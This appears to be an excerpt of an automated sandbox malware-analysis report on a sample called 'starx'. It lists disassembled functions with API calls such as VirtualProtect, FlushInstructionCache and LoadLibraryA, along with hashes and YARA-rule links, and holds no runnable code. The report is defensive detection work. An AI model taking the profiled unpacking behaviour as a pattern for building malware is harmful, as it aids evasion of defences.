VirtualProtect.KERNEL32(?,?,00000000,00000000), ref: 004434BA
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00000000), ref: 004434C0
FlushInstructionCache.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 004434C7

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ProtectVirtual$CacheCurrentFlushInstructionProcess
String ID:
API String ID: 4115577372-0
Opcode ID: ed8514a78c228566c1b40abbb0b37ee22dcc45ef0549a39478286b582615dc80
Instruction ID: 4c635b92cedeab43da14c9da80292ea0080676686bcef809f20369b285ea8f7f
Opcode Fuzzy Hash: ed8514a78c228566c1b40abbb0b37ee22dcc45ef0549a39478286b582615dc80
Instruction Fuzzy Hash: D3F0A9BA800209BBDF119FA5CC48ADA7E7CEB45751F004226BA0996191C738DB50CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 059DC6A4, Relevance: 5.1, APIs: 3, Instructions: 563libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 295f65909041a1f8f84b1fb64298fef8a8134b87a1bdc6120d684d10acdef82d
Instruction ID: 4eeaf7102d494b16db9a0c6bb610247c15de5c2997aa26ca82a3420212c83831
Opcode Fuzzy Hash: 295f65909041a1f8f84b1fb64298fef8a8134b87a1bdc6120d684d10acdef82d
Instruction Fuzzy Hash: F0421474A04228DFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 059DC6E9, Relevance: 5.1, APIs: 3, Instructions: 556libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 89af29223da749d28d656d9f0c29de450a022404cfddcb04872428f959cd7937
Instruction ID: 88ed88d1f2df4fcabd2c8439e376481c4627b28eeb70b56971a7287a2fba07d4
Opcode Fuzzy Hash: 89af29223da749d28d656d9f0c29de450a022404cfddcb04872428f959cd7937
Instruction Fuzzy Hash: 04421474A04228DFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 059DC72E, Relevance: 5.0, APIs: 3, Instructions: 549libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 2057868fc22db70faa394428697b5bb63ed5f540f2bbe98b18c07f0c24a36e17
Instruction ID: 93c800eb448acdde098af1a3ea88b49c7a8d64ae4baffe8c2e00bea4970e466f
Opcode Fuzzy Hash: 2057868fc22db70faa394428697b5bb63ed5f540f2bbe98b18c07f0c24a36e17
Instruction Fuzzy Hash: BD421574A04228CFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC773, Relevance: 5.0, APIs: 3, Instructions: 542libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 76a2e383fb5338e3b33549cc433c27093200b61acde68c9df48c6f78b4eda756
Instruction ID: 5fb7dada836dea308aaf9845fd21d99850f6af04a212c8e1d17dbdd9dca3cbf6
Opcode Fuzzy Hash: 76a2e383fb5338e3b33549cc433c27093200b61acde68c9df48c6f78b4eda756
Instruction Fuzzy Hash: 5A421574A04228CFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC7B8, Relevance: 5.0, APIs: 3, Instructions: 535libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 272158ae7f7c9d5861091cd2bc182945dafad9f15e6a1fc9296dd9caa6c0d38a
Instruction ID: 813bd185d866b847fad9856f3a7b2b7cb95899e394fbdf7374c14ff50c5a2b4f
Opcode Fuzzy Hash: 272158ae7f7c9d5861091cd2bc182945dafad9f15e6a1fc9296dd9caa6c0d38a
Instruction Fuzzy Hash: AF421574A04228CFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC7FD, Relevance: 5.0, APIs: 3, Instructions: 528libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 5291728fff5ef10e94ef5d257376546c358c725088d8f5691f641201264f5617
Instruction ID: fdce804e595c9b49717e79ccddcb4f5c4600b1a9531ec5a41696f4613d293599
Opcode Fuzzy Hash: 5291728fff5ef10e94ef5d257376546c358c725088d8f5691f641201264f5617
Instruction Fuzzy Hash: FE422674A00228CFDB64DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC842, Relevance: 5.0, APIs: 3, Instructions: 521libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: b534677c3131b4ff6ca0810365b929e2920094e35e74ead9ed9f4ceb77bee3d1
Instruction ID: 01cdb6f2817e8329e2e36068ac39bd42ae1c02be0558c8fe135a85c919c42f90
Opcode Fuzzy Hash: b534677c3131b4ff6ca0810365b929e2920094e35e74ead9ed9f4ceb77bee3d1
Instruction Fuzzy Hash: 0B322674A00228CFDB64DF60D95879DBBBABF88205F1085E9D60AA3350DF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC887, Relevance: 5.0, APIs: 3, Instructions: 514libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 05a1007013c4513c925a2ff8cdcf65480b321f4c5f7f8a4477a0dcbbe6590132
Instruction ID: eae80e5e4ea600aaf97dbf979477adc790df08e9ca133555bb054814fcd6c538
Opcode Fuzzy Hash: 05a1007013c4513c925a2ff8cdcf65480b321f4c5f7f8a4477a0dcbbe6590132
Instruction Fuzzy Hash: 1E322674A00228CFDB64DF60D95879DBBBABF88205F1085E9D60AA3350DF789E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC8CC, Relevance: 5.0, APIs: 3, Instructions: 507libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 7f5c7cdd5068a3d78b7eccd6b90fb2cd27980831b3bdfb54f6d387dbc9fc68c7
Instruction ID: 06354806c8d3c63a9c016cde3d39c181af5280610829b84a621be6884c1d7350
Opcode Fuzzy Hash: 7f5c7cdd5068a3d78b7eccd6b90fb2cd27980831b3bdfb54f6d387dbc9fc68c7
Instruction Fuzzy Hash: 94322674A00228CFDB64DF60D95879DBBBABF88205F1085E9D60AA3350CF749E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC911, Relevance: 5.0, APIs: 3, Instructions: 500libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 1fc72e5f81b503cd90652d316cd4fd87cc32c3079aceeab944b025dd6ef8e47f
Instruction ID: 9b27ca4cd7d59ef20fe1d59176096b3f4610e36028aa11c29082e427b5ef4914
Opcode Fuzzy Hash: 1fc72e5f81b503cd90652d316cd4fd87cc32c3079aceeab944b025dd6ef8e47f
Instruction Fuzzy Hash: 4B322674A00228CFDB64DF64D95879DBBBABF88205F1085E9D60AA3350CF789E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC956, Relevance: 5.0, APIs: 3, Instructions: 493libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: bf2686dc12d57d4c58334f1ff6249d1ea6659280e56b05e3888b8c6207a034cd
Instruction ID: b30660f260dcd2b1bfda35443423e7b0689d449a2113a89c400f4f46499fa94b
Opcode Fuzzy Hash: bf2686dc12d57d4c58334f1ff6249d1ea6659280e56b05e3888b8c6207a034cd
Instruction Fuzzy Hash: 3E322674A00228CFDB64DF64D95879DBBBABF88205F1085E9D60AA3350CF789E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC99B, Relevance: 5.0, APIs: 3, Instructions: 486libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: cf83b55bb36809bbf8011589cd324dab15dca88738d03cad477ac3056313fa0e
Instruction ID: 29823f72d58499920b181f5b7e09f2aef7832d99951d56bce98f1e18e848f47e
Opcode Fuzzy Hash: cf83b55bb36809bbf8011589cd324dab15dca88738d03cad477ac3056313fa0e
Instruction Fuzzy Hash: B1322574A00228CFDB64DF64D95879DBBBABF88205F1085E9D60AA3350CF789E81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 059DC9E0, Relevance: 5.0, APIs: 3, Instructions: 479libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: a277444be85355483005455dccaae44e23d8ff91fab0300fdc56a6b29ed2cc2f
Instruction ID: 497650a44e76ab4ef41203353b2d54c34094d05cd0383cb67b5ddd338b135ec9
Opcode Fuzzy Hash: a277444be85355483005455dccaae44e23d8ff91fab0300fdc56a6b29ed2cc2f
Instruction Fuzzy Hash: 86221674A00228CFDB64DF64D95879DBBBABF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCA25, Relevance: 5.0, APIs: 3, Instructions: 472libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: f06f39682c88c9393fb5d07f873e2821dded26d32d1b975c21a2b3fd8d963349
Instruction ID: 84a6a331e3060c5b4303b454a4cb799defe222badb969867ce6efd8d5a2f8c16
Opcode Fuzzy Hash: f06f39682c88c9393fb5d07f873e2821dded26d32d1b975c21a2b3fd8d963349
Instruction Fuzzy Hash: 47221574A00228CFDB64DF64D95879DBBBABF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCA6A, Relevance: 5.0, APIs: 3, Instructions: 465libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: fd925d42fef147e3bde8f3e4d525b08f63392e8aba74fc47ab8856f44a7d281b
Instruction ID: 6e4dfdaa7eb79fb706e9c3e8eabc3ae841d3cff7125839b62518518ca4e83efc
Opcode Fuzzy Hash: fd925d42fef147e3bde8f3e4d525b08f63392e8aba74fc47ab8856f44a7d281b
Instruction Fuzzy Hash: 2D221574A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCAAF, Relevance: 5.0, APIs: 3, Instructions: 458libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 2fd6c93049f420745325b0d39d394e25714c38a16b6ed3ed772cdf031f908c8e
Instruction ID: 93593e24fb75e1354885ca677c0e36b590f8fa8dda0696676ef4b18f2d89518f
Opcode Fuzzy Hash: 2fd6c93049f420745325b0d39d394e25714c38a16b6ed3ed772cdf031f908c8e
Instruction Fuzzy Hash: 83221574A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCAF4, Relevance: 5.0, APIs: 3, Instructions: 451libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 3316567e5d8d3d68b920781488b3493895943b4d882e34313e350f7877b8bb82
Instruction ID: 5415c1cfed313f9831ce7d10562ea48c6b58627fc0d5ce8719dfcfe21ebb8d8b
Opcode Fuzzy Hash: 3316567e5d8d3d68b920781488b3493895943b4d882e34313e350f7877b8bb82
Instruction Fuzzy Hash: 6A222574A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCB39, Relevance: 4.9, APIs: 3, Instructions: 444libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: e17d37000cf54c8beed04a82ab80b22baa9b1c72b93eef01b1f1a3ba27920b51
Instruction ID: 8e86ea851c4084fc75cd60d59a2e9d52c7163606b1a45b29127ea6016781b19a
Opcode Fuzzy Hash: e17d37000cf54c8beed04a82ab80b22baa9b1c72b93eef01b1f1a3ba27920b51
Instruction Fuzzy Hash: C4121574A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCB7E, Relevance: 4.9, APIs: 3, Instructions: 437libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 14b0aaed0b2190f05d4854f14f5050914d6b24101690899845707dedaff27b6e
Instruction ID: 3a6bac732db88783fba3e03180e68a553df292c0f46c2d8c7d741a03364664e2
Opcode Fuzzy Hash: 14b0aaed0b2190f05d4854f14f5050914d6b24101690899845707dedaff27b6e
Instruction Fuzzy Hash: 4A121674A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCBC3, Relevance: 4.9, APIs: 3, Instructions: 430libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 7506fb639d224eea577ecbba3457bf075226cd504e0ada7c1c4426f7e2e28b8e
Instruction ID: 7c0a7b203fdc982cd347465230182b3d9a148f438ff728eae2cf18226524f46b
Opcode Fuzzy Hash: 7506fb639d224eea577ecbba3457bf075226cd504e0ada7c1c4426f7e2e28b8e
Instruction Fuzzy Hash: F1121674A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCC0B, Relevance: 4.9, APIs: 3, Instructions: 423libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: f88ec754d08bef0ef27f85a13172f05cb48906c3aaaa8caeb2b0efcc4ade623e
Instruction ID: ca813afb71fc80e4579f44d358c1a7d84d150dbb2016c53226dcdcd6111c698b
Opcode Fuzzy Hash: f88ec754d08bef0ef27f85a13172f05cb48906c3aaaa8caeb2b0efcc4ade623e
Instruction Fuzzy Hash: 2F121674A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCC53, Relevance: 4.9, APIs: 3, Instructions: 416libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 096bc4e1b08272c2191c2a5a6ec0b464dce2be5b7f5b3dbd3d1bbadc52889ee7
Instruction ID: 4ae866e844909139bbffc13a9753ec14f8f953bdc1a96f9708f0301f49075dc7
Opcode Fuzzy Hash: 096bc4e1b08272c2191c2a5a6ec0b464dce2be5b7f5b3dbd3d1bbadc52889ee7
Instruction Fuzzy Hash: 3D120674A002288FDB64DF64D95879DBBBAFF88205F1085E9D60AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCC9B, Relevance: 4.9, APIs: 3, Instructions: 409libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: d5f8dd63b2354c2ed4c00edde6f98980393e9aad47b316e1a5ae8085426bac33
Instruction ID: 26bcaee219fd417690ec4dcc68c081a0a488a365d1fab78a1793000f70449bd9
Opcode Fuzzy Hash: d5f8dd63b2354c2ed4c00edde6f98980393e9aad47b316e1a5ae8085426bac33
Instruction Fuzzy Hash: 7F020674A002288FDB64EF64D95879DBBBAFF88205F1085E9D50AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCCE3, Relevance: 4.9, APIs: 3, Instructions: 402libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: ba7ba05ea9106b950ed2ce40cfd6d8148676675d5884ea35a1ccc5195fa7adc3
Instruction ID: fe882c8df7b32030d1a5123cf320a8bd4a48f3ff20be849f4b570bb7964bc41d
Opcode Fuzzy Hash: ba7ba05ea9106b950ed2ce40cfd6d8148676675d5884ea35a1ccc5195fa7adc3
Instruction Fuzzy Hash: B8021674A002288FDB64DF64D89879DBBBAFF88205F1085E9D50AA3350DF789E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059DCD2B, Relevance: 4.9, APIs: 3, Instructions: 395libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 130f109a5789394ea5d5a31ae685240fda6557609b57e61d573957102f4f7bff
Instruction ID: 323e899636ee5fdf7d0049ff0b5081939e74fd7cd6d68732e5026e7c92d12842
Opcode Fuzzy Hash: 130f109a5789394ea5d5a31ae685240fda6557609b57e61d573957102f4f7bff
Instruction Fuzzy Hash: 6D021574A002288FDB64DF74D89879DBBBABF88205F1085E9D50AA3350DF789E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00443E5D, Relevance: 4.6, APIs: 3, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00443E71
LoadLibraryA.KERNEL32 ref: 00443E7F
GetProcAddress.KERNEL32(?,?), ref: 00443EAF

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: c9ef667fd2f9803e5e8cd8fb1b9ad58c347df4563265a5797737299c8cfd6ad9
Instruction ID: f7b37c32fdf32e56eaa15eccc0f50c5423c1db99e77810c6aea50a29e6aaea61
Opcode Fuzzy Hash: c9ef667fd2f9803e5e8cd8fb1b9ad58c347df4563265a5797737299c8cfd6ad9
Instruction Fuzzy Hash: 411130756026169BEF20CF55CC8096B77F8AF05B567610066E901DB352E734EE01CA94

Uniqueness

Uniqueness Score: -1.00%

Function 0043EBD8, Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(00000000,0043D1FB), ref: 0043EBDB
__malloc_crt.LIBCMT ref: 0043EC09
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0043EC16

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: EnvironmentStrings$Free__malloc_crt
String ID:
API String ID: 237123855-0
Opcode ID: 14b3d4a3d99fc5b76c89796f0575f382111ae7c7dc160ed17f087dfa453fc872
Instruction ID: fd6e1e6c5a5b72f6ad09811eac28bfc1a903dda17316cc4228822986255dd9d9
